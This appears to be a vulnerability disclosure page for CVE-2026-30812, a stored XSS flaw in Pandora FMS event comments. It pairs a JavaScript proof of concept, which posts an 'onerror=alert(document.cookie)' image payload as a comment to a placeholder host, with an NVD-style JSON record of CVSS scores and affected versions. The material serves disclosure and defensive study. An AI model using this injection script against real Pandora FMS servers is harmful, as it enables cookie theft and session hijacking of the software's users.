CVE-2026-30812

// Proof of Concept for CVE-2026-30812 // Demonstrates Stored XSS via event comments in Pandora FMS // Target endpoint for adding comments (Example) let targetUrl = "https://vulnerable-pandora-fms.com/pandora_console/index.php?sec=eventos&sec2=operation/events/events"; // Malicious XSS Payload to be stored in the comment let payload = "<img src=x onerror=alert(document.cookie)>"; // Constructing the POST request data let params = new URLSearchParams(); params.append('page', 'operation/events/events'); params.append('action', 'add_comment'); params.append('id_event', '12345'); // Valid Event ID params.append('comment', payload); // Injected payload // Sending the request (Requires authenticated session cookie) fetch(targetUrl, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: params }).then(response => { if (response.ok) { console.log('Payload injected successfully. Check the event log to trigger XSS.'); } }).catch(error => console.error('Error:', error));

{"cve": {"id": "CVE-2026-30812", "sourceIdentifier": "[email protected]", "published": "2026-04-13T16:16:26.147", "lastModified": "2026-04-22T14:36:08.760", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation vulnerability allows Stored Cross-Site Scripting via event comments. This issue affects Pandora FMS: from 777 through 800"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:N/R:A/V:D/RE:L/U:Amber", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NEGLIGIBLE", "Automatable": "NO", "Recovery": "AUTOMATIC", "valueDensity": "DIFFUSE", "vulnerabilityResponseEffort": "LOW", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:artica:pandora_fms:*:*:*:*:*:*:*:*", "versionStartIncluding": "777", "versionEndExcluding": "800.1", "matchCriteriaId": "DE3FD946-C9BB-47A3-9AE7-F958869B9278"}]}]}], "references": [{"url": "https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}